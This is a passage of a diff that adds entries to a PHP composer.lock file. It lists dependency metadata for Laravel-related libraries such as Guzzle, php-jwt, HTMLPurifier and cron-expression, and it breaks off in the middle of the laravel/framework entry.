+ "shasum": "" + }, + "require": { + "php": "^8.1" + }, + "require-dev": { + "doctrine/coding-standard": "^12", + "phpstan/phpstan": "^1.10", + "phpunit/phpunit": "^10.5", + "psalm/plugin-phpunit": "^0.18.3", + "vimeo/psalm": "^5.21" + }, + "type": "library", + "autoload": { + "psr-4": { + "Doctrine\\Common\\Lexer\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Guilherme Blanco", + "email": "guilhermeblanco@gmail.com" + }, + { + "name": "Roman Borschel", + "email": "roman@code-factory.org" + }, + { + "name": "Johannes Schmitt", + "email": "schmittjoh@gmail.com" + } + ], + "description": "PHP Doctrine Lexer parser library that can be used in Top-Down, Recursive Descent Parsers.", + "homepage": "https://www.doctrine-project.org/projects/lexer.html", + "keywords": [ + "annotations", + "docblock", + "lexer", + "parser", + "php" + ], + "support": { + "issues": "https://github.com/doctrine/lexer/issues", + "source": "https://github.com/doctrine/lexer/tree/3.0.1" + }, + "funding": [ + { + "url": "https://www.doctrine-project.org/sponsorship.html", + "type": "custom" + }, + { + "url": "https://www.patreon.com/phpdoctrine", + "type": "patreon" + }, + { + "url": "https://tidelift.com/funding/github/packagist/doctrine%2Flexer", + "type": "tidelift" + } + ], + "time": "2024-02-05T11:56:58+00:00" + }, + { + "name": "dragonmantank/cron-expression", + "version": "v3.6.0", + "source": { + "type": "git", + "url": "https://github.com/dragonmantank/cron-expression.git", + "reference": "d61a8a9604ec1f8c3d150d09db6ce98b32675013" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/dragonmantank/cron-expression/zipball/d61a8a9604ec1f8c3d150d09db6ce98b32675013", + "reference": "d61a8a9604ec1f8c3d150d09db6ce98b32675013", + "shasum": "" + }, + "require": { + "php": "^8.2|^8.3|^8.4|^8.5" + }, + "replace": { + "mtdowling/cron-expression": "^1.0" + }, + "require-dev": { + "phpstan/extension-installer": "^1.4.3", + "phpstan/phpstan": "^1.12.32|^2.1.31", + "phpunit/phpunit": "^8.5.48|^9.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.x-dev" + } + }, + "autoload": { + "psr-4": { + "Cron\\": "src/Cron/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Chris Tankersley", + "email": "chris@ctankersley.com", + "homepage": "https://github.com/dragonmantank" + } + ], + "description": "CRON for PHP: Calculate the next or previous run date and determine if a CRON expression is due", + "keywords": [ + "cron", + "schedule" + ], + "support": { + "issues": "https://github.com/dragonmantank/cron-expression/issues", + "source": "https://github.com/dragonmantank/cron-expression/tree/v3.6.0" + }, + "funding": [ + { + "url": "https://github.com/dragonmantank", + "type": "github" + } + ], + "time": "2025-10-31T18:51:33+00:00" + }, + { + "name": "egulias/email-validator", + "version": "4.0.4", + "source": { + "type": "git", + "url": "https://github.com/egulias/EmailValidator.git", + "reference": "d42c8731f0624ad6bdc8d3e5e9a4524f68801cfa" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/egulias/EmailValidator/zipball/d42c8731f0624ad6bdc8d3e5e9a4524f68801cfa", + "reference": "d42c8731f0624ad6bdc8d3e5e9a4524f68801cfa", + "shasum": "" + }, + "require": { + "doctrine/lexer": "^2.0 || ^3.0", + "php": ">=8.1", + "symfony/polyfill-intl-idn": "^1.26" + }, + "require-dev": { + "phpunit/phpunit": "^10.2", + "vimeo/psalm": "^5.12" + }, + "suggest": { + "ext-intl": "PHP Internationalization Libraries are required to use the SpoofChecking validation" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "4.0.x-dev" + } + }, + "autoload": { + "psr-4": { + "Egulias\\EmailValidator\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Eduardo Gulias Davis" + } + ], + "description": "A library for validating emails against several RFCs", + "homepage": "https://github.com/egulias/EmailValidator", + "keywords": [ + "email", + "emailvalidation", + "emailvalidator", + "validation", + "validator" + ], + "support": { + "issues": "https://github.com/egulias/EmailValidator/issues", + "source": "https://github.com/egulias/EmailValidator/tree/4.0.4" + }, + "funding": [ + { + "url": "https://github.com/egulias", + "type": "github" + } + ], + "time": "2025-03-06T22:45:56+00:00" + }, + { + "name": "ezyang/htmlpurifier", + "version": "v4.19.0", + "source": { + "type": "git", + "url": "https://github.com/ezyang/htmlpurifier.git", + "reference": "b287d2a16aceffbf6e0295559b39662612b77fcf" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/ezyang/htmlpurifier/zipball/b287d2a16aceffbf6e0295559b39662612b77fcf", + "reference": "b287d2a16aceffbf6e0295559b39662612b77fcf", + "shasum": "" + }, + "require": { + "php": "~5.6.0 || ~7.0.0 || ~7.1.0 || ~7.2.0 || ~7.3.0 || ~7.4.0 || ~8.0.0 || ~8.1.0 || ~8.2.0 || ~8.3.0 || ~8.4.0 || ~8.5.0" + }, + "require-dev": { + "cerdic/css-tidy": "^1.7 || ^2.0", + "simpletest/simpletest": "dev-master" + }, + "suggest": { + "cerdic/css-tidy": "If you want to use the filter 'Filter.ExtractStyleBlocks'.", + "ext-bcmath": "Used for unit conversion and imagecrash protection", + "ext-iconv": "Converts text to and from non-UTF-8 encodings", + "ext-tidy": "Used for pretty-printing HTML" + }, + "type": "library", + "autoload": { + "files": [ + "library/HTMLPurifier.composer.php" + ], + "psr-0": { + "HTMLPurifier": "library/" + }, + "exclude-from-classmap": [ + "/library/HTMLPurifier/Language/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "LGPL-2.1-or-later" + ], + "authors": [ + { + "name": "Edward Z. Yang", + "email": "admin@htmlpurifier.org", + "homepage": "http://ezyang.com" + } + ], + "description": "Standards compliant HTML filter written in PHP", + "homepage": "http://htmlpurifier.org/", + "keywords": [ + "html" + ], + "support": { + "issues": "https://github.com/ezyang/htmlpurifier/issues", + "source": "https://github.com/ezyang/htmlpurifier/tree/v4.19.0" + }, + "time": "2025-10-17T16:34:55+00:00" + }, + { + "name": "firebase/php-jwt", + "version": "v7.1.0", + "source": { + "type": "git", + "url": "https://github.com/googleapis/php-jwt.git", + "reference": "b374a5d1a4f1f67fadc2165cdb284645945e2fc0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/googleapis/php-jwt/zipball/b374a5d1a4f1f67fadc2165cdb284645945e2fc0", + "reference": "b374a5d1a4f1f67fadc2165cdb284645945e2fc0", + "shasum": "" + }, + "require": { + "php": "^8.0" + }, + "require-dev": { + "guzzlehttp/guzzle": "^7.4", + "phpfastcache/phpfastcache": "^9.2", + "phpseclib/phpseclib": "~3.0", + "phpspec/prophecy-phpunit": "^2.0", + "phpunit/phpunit": "^9.5", + "psr/cache": "^2.0||^3.0", + "psr/http-client": "^1.0", + "psr/http-factory": "^1.0" + }, + "suggest": { + "ext-sodium": "Support EdDSA (Ed25519) signatures", + "paragonie/sodium_compat": "Support EdDSA (Ed25519) signatures when libsodium is not present", + "phpseclib/phpseclib": "Support PS256 (RSASSA-PSS) signatures" + }, + "type": "library", + "autoload": { + "psr-4": { + "Firebase\\JWT\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Neuman Vong", + "email": "neuman+pear@twilio.com", + "role": "Developer" + }, + { + "name": "Anant Narayanan", + "email": "anant@php.net", + "role": "Developer" + } + ], + "description": "A simple library to encode and decode JSON Web Tokens (JWT) in PHP. Should conform to the current spec.", + "homepage": "https://github.com/googleapis/php-jwt", + "keywords": [ + "jwt", + "php" + ], + "support": { + "issues": "https://github.com/googleapis/php-jwt/issues", + "source": "https://github.com/googleapis/php-jwt/tree/v7.1.0" + }, + "time": "2026-06-11T17:54:14+00:00" + }, + { + "name": "fruitcake/php-cors", + "version": "v1.4.0", + "source": { + "type": "git", + "url": "https://github.com/fruitcake/php-cors.git", + "reference": "38aaa6c3fd4c157ffe2a4d10aa8b9b16ba8de379" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/fruitcake/php-cors/zipball/38aaa6c3fd4c157ffe2a4d10aa8b9b16ba8de379", + "reference": "38aaa6c3fd4c157ffe2a4d10aa8b9b16ba8de379", + "shasum": "" + }, + "require": { + "php": "^8.1", + "symfony/http-foundation": "^5.4|^6.4|^7.3|^8" + }, + "require-dev": { + "phpstan/phpstan": "^2", + "phpunit/phpunit": "^9", + "squizlabs/php_codesniffer": "^4" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.3-dev" + } + }, + "autoload": { + "psr-4": { + "Fruitcake\\Cors\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fruitcake", + "homepage": "https://fruitcake.nl" + }, + { + "name": "Barryvdh", + "email": "barryvdh@gmail.com" + } + ], + "description": "Cross-origin resource sharing library for the Symfony HttpFoundation", + "homepage": "https://github.com/fruitcake/php-cors", + "keywords": [ + "cors", + "laravel", + "symfony" + ], + "support": { + "issues": "https://github.com/fruitcake/php-cors/issues", + "source": "https://github.com/fruitcake/php-cors/tree/v1.4.0" + }, + "funding": [ + { + "url": "https://fruitcake.nl", + "type": "custom" + }, + { + "url": "https://github.com/barryvdh", + "type": "github" + } + ], + "time": "2025-12-03T09:33:47+00:00" + }, + { + "name": "graham-campbell/result-type", + "version": "v1.1.4", + "source": { + "type": "git", + "url": "https://github.com/GrahamCampbell/Result-Type.git", + "reference": "e01f4a821471308ba86aa202fed6698b6b695e3b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/GrahamCampbell/Result-Type/zipball/e01f4a821471308ba86aa202fed6698b6b695e3b", + "reference": "e01f4a821471308ba86aa202fed6698b6b695e3b", + "shasum": "" + }, + "require": { + "php": "^7.2.5 || ^8.0", + "phpoption/phpoption": "^1.9.5" + }, + "require-dev": { + "phpunit/phpunit": "^8.5.41 || ^9.6.22 || ^10.5.45 || ^11.5.7" + }, + "type": "library", + "autoload": { + "psr-4": { + "GrahamCampbell\\ResultType\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Graham Campbell", + "email": "hello@gjcampbell.co.uk", + "homepage": "https://github.com/GrahamCampbell" + } + ], + "description": "An Implementation Of The Result Type", + "keywords": [ + "Graham Campbell", + "GrahamCampbell", + "Result Type", + "Result-Type", + "result" + ], + "support": { + "issues": "https://github.com/GrahamCampbell/Result-Type/issues", + "source": "https://github.com/GrahamCampbell/Result-Type/tree/v1.1.4" + }, + "funding": [ + { + "url": "https://github.com/GrahamCampbell", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/graham-campbell/result-type", + "type": "tidelift" + } + ], + "time": "2025-12-27T19:43:20+00:00" + }, + { + "name": "guzzlehttp/guzzle", + "version": "7.15.2", + "source": { + "type": "git", + "url": "https://github.com/guzzle/guzzle.git", + "reference": "744101956d78b7c1384d0cbf379db13e859167bf" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/guzzle/guzzle/zipball/744101956d78b7c1384d0cbf379db13e859167bf", + "reference": "744101956d78b7c1384d0cbf379db13e859167bf", + "shasum": "" + }, + "require": { + "ext-json": "*", + "guzzlehttp/promises": "^2.5.1", + "guzzlehttp/psr7": "^2.13", + "php": "^7.2.5 || ^8.0", + "psr/http-client": "^1.0", + "symfony/deprecation-contracts": "^2.5 || ^3.0", + "symfony/polyfill-php80": "^1.25" + }, + "provide": { + "psr/http-client-implementation": "1.0" + }, + "require-dev": { + "bamarni/composer-bin-plugin": "^1.8.2", + "ext-curl": "*", + "guzzle/client-integration-tests": "3.0.3", + "guzzlehttp/test-server": "^0.7", + "php-http/message-factory": "^1.1", + "phpunit/phpunit": "^8.5.52 || ^9.6.34", + "psr/log": "^1.1 || ^2.0 || ^3.0" + }, + "suggest": { + "ext-curl": "Required for CURL handler support", + "ext-intl": "Required for Internationalized Domain Name (IDN) support", + "psr/log": "Required for using the Log middleware" + }, + "type": "library", + "extra": { + "bamarni-bin": { + "bin-links": true, + "forward-command": false + } + }, + "autoload": { + "files": [ + "src/functions_include.php" + ], + "psr-4": { + "GuzzleHttp\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Graham Campbell", + "email": "hello@gjcampbell.co.uk", + "homepage": "https://github.com/GrahamCampbell" + }, + { + "name": "Michael Dowling", + "email": "mtdowling@gmail.com", + "homepage": "https://github.com/mtdowling" + }, + { + "name": "Jeremy Lindblom", + "email": "jeremeamia@gmail.com", + "homepage": "https://github.com/jeremeamia" + }, + { + "name": "George Mponos", + "email": "gmponos@gmail.com", + "homepage": "https://github.com/gmponos" + }, + { + "name": "Tobias Nyholm", + "email": "tobias.nyholm@gmail.com", + "homepage": "https://github.com/Nyholm" + }, + { + "name": "Márk Sági-Kazár", + "email": "mark.sagikazar@gmail.com", + "homepage": "https://github.com/sagikazarmark" + }, + { + "name": "Tobias Schultze", + "email": "webmaster@tubo-world.de", + "homepage": "https://github.com/Tobion" + } + ], + "description": "Guzzle is a PHP HTTP client library", + "keywords": [ + "client", + "curl", + "framework", + "http", + "http client", + "psr-18", + "psr-7", + "rest", + "web service" + ], + "support": { + "issues": "https://github.com/guzzle/guzzle/issues", + "source": "https://github.com/guzzle/guzzle/tree/7.15.2" + }, + "funding": [ + { + "url": "https://github.com/GrahamCampbell", + "type": "github" + }, + { + "url": "https://github.com/Nyholm", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/guzzlehttp/guzzle", + "type": "tidelift" + } + ], + "time": "2026-07-26T23:23:20+00:00" + }, + { + "name": "guzzlehttp/promises", + "version": "2.5.1", + "source": { + "type": "git", + "url": "https://github.com/guzzle/promises.git", + "reference": "9ad1e4fc607446a055b95870c7f668e93b5cff29" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/guzzle/promises/zipball/9ad1e4fc607446a055b95870c7f668e93b5cff29", + "reference": "9ad1e4fc607446a055b95870c7f668e93b5cff29", + "shasum": "" + }, + "require": { + "php": "^7.2.5 || ^8.0", + "symfony/deprecation-contracts": "^2.5 || ^3.0" + }, + "require-dev": { + "bamarni/composer-bin-plugin": "^1.8.2", + "phpunit/phpunit": "^8.5.52 || ^9.6.34" + }, + "type": "library", + "extra": { + "bamarni-bin": { + "bin-links": true, + "forward-command": false + } + }, + "autoload": { + "psr-4": { + "GuzzleHttp\\Promise\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Graham Campbell", + "email": "hello@gjcampbell.co.uk", + "homepage": "https://github.com/GrahamCampbell" + }, + { + "name": "Michael Dowling", + "email": "mtdowling@gmail.com", + "homepage": "https://github.com/mtdowling" + }, + { + "name": "Tobias Nyholm", + "email": "tobias.nyholm@gmail.com", + "homepage": "https://github.com/Nyholm" + }, + { + "name": "Tobias Schultze", + "email": "webmaster@tubo-world.de", + "homepage": "https://github.com/Tobion" + } + ], + "description": "Guzzle promises library", + "keywords": [ + "promise" + ], + "support": { + "issues": "https://github.com/guzzle/promises/issues", + "source": "https://github.com/guzzle/promises/tree/2.5.1" + }, + "funding": [ + { + "url": "https://github.com/GrahamCampbell", + "type": "github" + }, + { + "url": "https://github.com/Nyholm", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/guzzlehttp/promises", + "type": "tidelift" + } + ], + "time": "2026-07-08T15:48:39+00:00" + }, + { + "name": "guzzlehttp/psr7", + "version": "2.13.0", + "source": { + "type": "git", + "url": "https://github.com/guzzle/psr7.git", + "reference": "dad89620b7a6edb60c15858442eb2e408b45d8f4" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/guzzle/psr7/zipball/dad89620b7a6edb60c15858442eb2e408b45d8f4", + "reference": "dad89620b7a6edb60c15858442eb2e408b45d8f4", + "shasum": "" + }, + "require": { + "php": "^7.2.5 || ^8.0", + "psr/http-factory": "^1.0", + "psr/http-message": "^1.1 || ^2.0", + "ralouphie/getallheaders": "^3.0", + "symfony/deprecation-contracts": "^2.5 || ^3.0", + "symfony/polyfill-php80": "^1.25" + }, + "provide": { + "psr/http-factory-implementation": "1.0", + "psr/http-message-implementation": "1.0" + }, + "require-dev": { + "bamarni/composer-bin-plugin": "^1.8.2", + "http-interop/http-factory-tests": "1.1.0", + "jshttp/mime-db": "1.54.0.1", + "phpunit/phpunit": "^8.5.52 || ^9.6.34" + }, + "suggest": { + "laminas/laminas-httphandlerrunner": "Emit PSR-7 responses" + }, + "type": "library", + "extra": { + "bamarni-bin": { + "bin-links": true, + "forward-command": false + } + }, + "autoload": { + "psr-4": { + "GuzzleHttp\\Psr7\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Graham Campbell", + "email": "hello@gjcampbell.co.uk", + "homepage": "https://github.com/GrahamCampbell" + }, + { + "name": "Michael Dowling", + "email": "mtdowling@gmail.com", + "homepage": "https://github.com/mtdowling" + }, + { + "name": "George Mponos", + "email": "gmponos@gmail.com", + "homepage": "https://github.com/gmponos" + }, + { + "name": "Tobias Nyholm", + "email": "tobias.nyholm@gmail.com", + "homepage": "https://github.com/Nyholm" + }, + { + "name": "Márk Sági-Kazár", + "email": "mark.sagikazar@gmail.com", + "homepage": "https://github.com/sagikazarmark" + }, + { + "name": "Tobias Schultze", + "email": "webmaster@tubo-world.de", + "homepage": "https://github.com/Tobion" + }, + { + "name": "Márk Sági-Kazár", + "email": "mark.sagikazar@gmail.com", + "homepage": "https://sagikazarmark.hu" + } + ], + "description": "PSR-7 message implementation that also provides common utility methods", + "keywords": [ + "http", + "message", + "psr-7", + "request", + "response", + "stream", + "uri", + "url" + ], + "support": { + "issues": "https://github.com/guzzle/psr7/issues", + "source": "https://github.com/guzzle/psr7/tree/2.13.0" + }, + "funding": [ + { + "url": "https://github.com/GrahamCampbell", + "type": "github" + }, + { + "url": "https://github.com/Nyholm", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/guzzlehttp/psr7", + "type": "tidelift" + } + ], + "time": "2026-07-16T22:23:49+00:00" + }, + { + "name": "guzzlehttp/uri-template", + "version": "v1.0.10", + "source": { + "type": "git", + "url": "https://github.com/guzzle/uri-template.git", + "reference": "f6c24c21f42b990e9a58912b332d0874df6ba839" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/guzzle/uri-template/zipball/f6c24c21f42b990e9a58912b332d0874df6ba839", + "reference": "f6c24c21f42b990e9a58912b332d0874df6ba839", + "shasum": "" + }, + "require": { + "php": "^7.2.5 || ^8.0", + "symfony/polyfill-php80": "^1.25" + }, + "require-dev": { + "bamarni/composer-bin-plugin": "^1.8.2", + "phpunit/phpunit": "^8.5.52 || ^9.6.34", + "uri-template/tests": "1.0.0" + }, + "type": "library", + "extra": { + "bamarni-bin": { + "bin-links": true, + "forward-command": false + } + }, + "autoload": { + "psr-4": { + "GuzzleHttp\\UriTemplate\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Graham Campbell", + "email": "hello@gjcampbell.co.uk", + "homepage": "https://github.com/GrahamCampbell" + }, + { + "name": "Michael Dowling", + "email": "mtdowling@gmail.com", + "homepage": "https://github.com/mtdowling" + }, + { + "name": "George Mponos", + "email": "gmponos@gmail.com", + "homepage": "https://github.com/gmponos" + }, + { + "name": "Tobias Nyholm", + "email": "tobias.nyholm@gmail.com", + "homepage": "https://github.com/Nyholm" + } + ], + "description": "A polyfill class for uri_template of PHP", + "keywords": [ + "guzzlehttp", + "uri-template" + ], + "support": { + "issues": "https://github.com/guzzle/uri-template/issues", + "source": "https://github.com/guzzle/uri-template/tree/v1.0.10" + }, + "funding": [ + { + "url": "https://github.com/GrahamCampbell", + "type": "github" + }, + { + "url": "https://github.com/Nyholm", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/guzzlehttp/uri-template", + "type": "tidelift" + } + ], + "time": "2026-07-17T13:53:03+00:00" + }, + { + "name": "inertiajs/inertia-laravel", + "version": "v2.0.24", + "source": { + "type": "git", + "url": "https://github.com/inertiajs/inertia-laravel.git", + "reference": "ea345adad12f110edbbc4bef03b69c2374a535d4" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/inertiajs/inertia-laravel/zipball/ea345adad12f110edbbc4bef03b69c2374a535d4", + "reference": "ea345adad12f110edbbc4bef03b69c2374a535d4", + "shasum": "" + }, + "require": { + "ext-json": "*", + "laravel/framework": "^10.0|^11.0|^12.0|^13.0", + "php": "^8.1.0", + "symfony/console": "^6.2|^7.0|^8.0" + }, + "conflict": { + "laravel/boost": "<2.2.0" + }, + "require-dev": { + "guzzlehttp/guzzle": "^7.2", + "larastan/larastan": "^3.0", + "laravel/pint": "^1.16", + "mockery/mockery": "^1.3.3", + "orchestra/testbench": "^8.0|^9.2|^10.0|^11.0", + "phpunit/phpunit": "^10.4|^11.5|^12.0", + "roave/security-advisories": "dev-master" + }, + "suggest": { + "ext-pcntl": "Recommended when running the Inertia SSR server via the `inertia:start-ssr` artisan command." + }, + "type": "library", + "extra": { + "laravel": { + "providers": [ + "Inertia\\ServiceProvider" + ] + } + }, + "autoload": { + "files": [ + "./helpers.php" + ], + "psr-4": { + "Inertia\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Jonathan Reinink", + "email": "jonathan@reinink.ca", + "homepage": "https://reinink.ca" + } + ], + "description": "The Laravel adapter for Inertia.js.", + "keywords": [ + "inertia", + "laravel" + ], + "support": { + "issues": "https://github.com/inertiajs/inertia-laravel/issues", + "source": "https://github.com/inertiajs/inertia-laravel/tree/v2.0.24" + }, + "time": "2026-04-10T14:36:44+00:00" + }, + { + "name": "laravel/framework", + "version": "v12.64.0", + "source": { + "type": "git", + "url": "https://github.com/laravel/framework.git", + "reference": "727a8ea2949c23ca8b5316b86a00984b6017b7a0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/laravel/framework/zipball/727a8ea2949c23ca8b5316b86a00984b6017b7a0", + "reference": "727a8ea2949c23ca8b5316b86a00984b6017b7a0", + "shasum": "" + }, + "require": { + "brick/math": "^0.11|^0.12|^0.13|^0.14", + "composer-runtime-api": "^2.2", + "doctrine/inflector": "^2.0.5", + "dragonmantank/cron-expression": "^3.4", + "egulias/email-validator": "^3.2.1|^4.0", + "ext-ctype": "*", + "ext-filter": "*", + "ext-hash": "*", + "ext-mbstring": "*", + "ext-openssl": "*", + "ext-session": "*", + "ext-tokenizer": "*", + "fruitcake/php-cors": "^1.3", + "guzzlehttp/guzzle": "^7.8.2", + "guzzlehttp/uri-template": "^1.0", + "laravel/prompts": "^0.3.0", + "laravel/serializable-closure": "^1.3|^2.0", + "league/commonmark": "^2.8.1", + "league/flysystem": "^3.25.1", + "league/flysystem-local": "^3.25.1", + "league/uri": "^7.5.1", + "monolog/monolog": "^3.0", + "nesbot/carbon": "^3.8.4", + "nunomaduro/termwind": "^2.0", + "php": "^8.2", + "psr/container": "^1.1.1|^2.0.1", + "psr/log": "^1.0|^2.0|^3.0", + "psr/simple-cache": "^1.0|^2.0|^3.0", + "ramsey/uuid": "^4.7", + "symfony/console": "^7.2.0", + "symfony/error-handler": "^7.2.0", + "symfony/finder": "^7.2.0", + "symfony/http-foundation": "^7.2.0", + "symfony/http-kernel": "^7.2.0", + "symfony/mailer": "^7.2.0", + "symfony/mime": "^7.2.0", + "symfony/polyfill-php83": "^1.33", + "symfony/polyfill-php84": "^1.34", + "symfony/polyfill-php85": "^1.34", + "symfony/process": "^7.2.0", + "symfony/routing": "^7.2.0", + "symfony/uid": "^7.2.0", + "symfony/var-dumper": "^7.2.0", + "tijsverkoyen/css-to-inline-styles": "^2.2.5", + "vlucas/phpdotenv": "^5.6.1", + "voku/portable-ascii": "^2.0.2" + }, + "conflict": { + "tightenco/collect": "<5.5.33" + }, + "provide": { + "psr/container-implementation": "1.1|2.0", + "psr/log-implementation": "1.0|2.0|3.0", + "psr/simple-cache-implementation": "1.0|2.0|3.0" + }, + "replace": { + "illuminate/auth": "self.version", + "illuminate/broadcasting": "self.version", + "illuminate/bus": "self.version", + "illuminate/cache": "self.version", + "illuminate/collections": "self.version", + "illuminate/concurrency": "self.version", + "illuminate/conditionable": "self.version", + "illuminate/config": "self.version", + "illuminate/console": "self.version", + "illuminate/container": "self.version", + "illuminate/contracts": "self.version", + "illuminate/cookie": "self.version", + "illuminate/database": "self.version", + "illuminate/encryption": "self.version", + "illuminate/events": "self.version", + "illuminate/filesystem": "self.version", + "illuminate/hashing": "self.version", + "illuminate/http": "self.version", + "illuminate/json-schema": "self.version", + "illuminate/log": "self.version", + "illuminate/macroable": "self.version", + "illuminate/mail": "self.version", + "illuminate/notifications": "self.version", + "illuminate/pagination": "self.version", + "illuminate/pipeline": "self.version", + "illuminate/process": "self.version", + "illuminate/queue": "self.version", + "illuminate/redis": "self.version", + "illuminate/reflection": "self.version", + "illuminate/routing": "self.version", + "illuminate/session": "self.version", + "illuminate/support": "self.version", + "illuminate/testing": "self.version", + "illuminate/translation": "self.version", + "illuminate/validation": "self.version", + "illuminate/view": "self.version", + "spatie/once": "*" + }, + "require-dev": { + "ably/ably-php": "^1.0", + "aws/aws-sdk-php": "^3.322.9", + "ext-gmp": "*", + "fakerphp/faker": "^1.24", + "guzzlehttp/promises": "^2.0.3", + "guzzlehttp/psr7": "^2.4", + "laravel/pint": "^1.18", + "league/flysystem-aws-s3-v3": "^3.25.1", + "league/flysystem-ftp": "^3.25.1", + "league/flysystem-path-prefixing": "^3.25.1", + "league/flysystem-read-only": "^3.25.1", + "league/flysystem-sftp-v3": "^3.25.1", + "mockery/mockery": "^1.6.10", + "opis/json-schema": "^2.4.1", + "orchestra/testbench-core": "^10.9.0", + "pda/pheanstalk": "^5.0.6|^7.0.0", + "php-http/discovery": "^1.15", + "phpstan/phpstan": "^2.1.41", + "phpunit/phpunit": "^10.5.35|^11.5.3|^12.0.1", + "predis/predis": "^2.3|^3.0", + "resend/resend-php": "^0.10.0|^1.0", + "symfony/cache": "^7.2.0", + "symfony/http-client": "^7.2.0", + "symfony/psr-http-message-bridge": "^7.2.0", + "symfony/translation": "^7.2.0" + }, + "suggest": { + "ably/ably-php": "Required to use the Ably broadcast driver (^1.0).", + "aws/aws-sdk-php": "Required to use the SQS queue driver, DynamoDb failed job storage, and SES mail driver (^3.322.9).", + "brianium/paratest": "Required to run tests in parallel (^7.0|^8.0).", + "ext-apcu": "Required to use the APC cache driver.", + "ext-fileinfo": "Required to use the Filesystem class.", + "ext-ftp": "Required to use the Flysystem FTP driver.", + "ext-gd": "Required to use Illuminate\\Http\\Testing\\FileFactory::image().", + "ext-memcached": "Required to use the memcache cache driver.", + "ext-pcntl": "Required to use all features of the queue worker and console signal trapping.", + "ext-pdo": "Required to use all database features.", + "ext-posix": "Required to use all features of the queue worker.", + "ext-redis": "Required to use the Redis cache and queue drivers (^4.0|^5.0|^6.0).", + "fakerphp/faker": "Required to generate fake data using the fake() helper (^1.23).", + "filp/whoops": "Required for friendly error pages in development (^2.14.3).", + "laravel/tinker": "Required to use the tinker console command (^2.0).", + "league/flysystem-aws-s3-v3": "Required to use the Flysystem S3 driver (^3.25.1).", + "league/flysystem-ftp": "Required to use the Flysystem FTP driver (^3.25.1).", + "league/flysystem-path-prefixing": "Required to use the scoped driver (^3.25.1).", + "league/flysystem-read-only": "Required to use read-only disks (^3.25.1)", + "league/flysystem-sftp-v3": "Required to use the Flysystem SFTP driver (^3.25.1).", + "mockery/mockery": "Required to use mocking (^1.6).", + "pda/pheanstalk": "Required to use the beanstalk queue driver (^5.0).", + "php-http/discovery": "Required to use PSR-7 bridging features (^1.15).", + "phpunit/phpunit": "Required to use assertions and run tests (^10.5.35|^11.5.3|^12.0.1).", + "predis/predis": "Required to use the predis connector (^2.3|^3.0).", + "psr/http-message": "Required to allow Storage::put to accept a StreamInterface (^1.0).", + "pusher/pusher-php-server": "Required to use the Pusher broadcast driver (^6.0|^7.0).", + "resend/resend-php": "Required to enable support for the Resend mail transport (^0.10.0|^1.0).", + "symfony/cache": "Required to PSR-6 cache bridge (^7.2).", + "symfony/filesystem": "Required to enable support for relative symbolic links (^7.2).", + "symfony/http-client": "Required to enable support for the Symfony API mail transports (^7.2).", + "symfony/mailgun-mailer": "Required to enable support for the Mailgun mail transport (^7.2).", + "symfony/postmark-mailer": "Required to enable support for the Postmark mail transport (^7.2).", + "symfony/psr-http-message-bridge": "Required to use PSR-7 bridging features (^7.2)." + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "12.x-dev" + } + }, + "autoload": { + "files": [ + "src/Illuminate/Collections/functions.php", + "src/Illuminate/Collections/helpers.php", + "src/Illuminate/Events/functions.php", + "src/Illuminate/Filesystem/functions.php", + "src/Illuminate/Foundation/helpers.php", + "src/Illuminate/Log/functions.php", + "src/Illuminate/Reflection/helpers.php", + "src/Illuminate/Support/functions.php", + "src/Illuminate/Support/helpers.php" + ], + "psr-4": { + "Illuminate\\": "src/Illuminate/", + "Illuminate\\Support\\": [ + "src/Illuminate/Macroable/", + "src/Illuminate/Collections/", + "src/Illuminate/Conditionable/", + "src/Illuminate/Reflection/" + ] + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Taylor Otwell", + "email": "taylor@laravel.com" + } + ], + "description": "The Laravel Framework.", + "homepage": "https://laravel.com", + "keywords": [ + "framework", + "laravel" + ], + "support": { + "issues": "https://github.com/laravel/framework/issues", + "source": 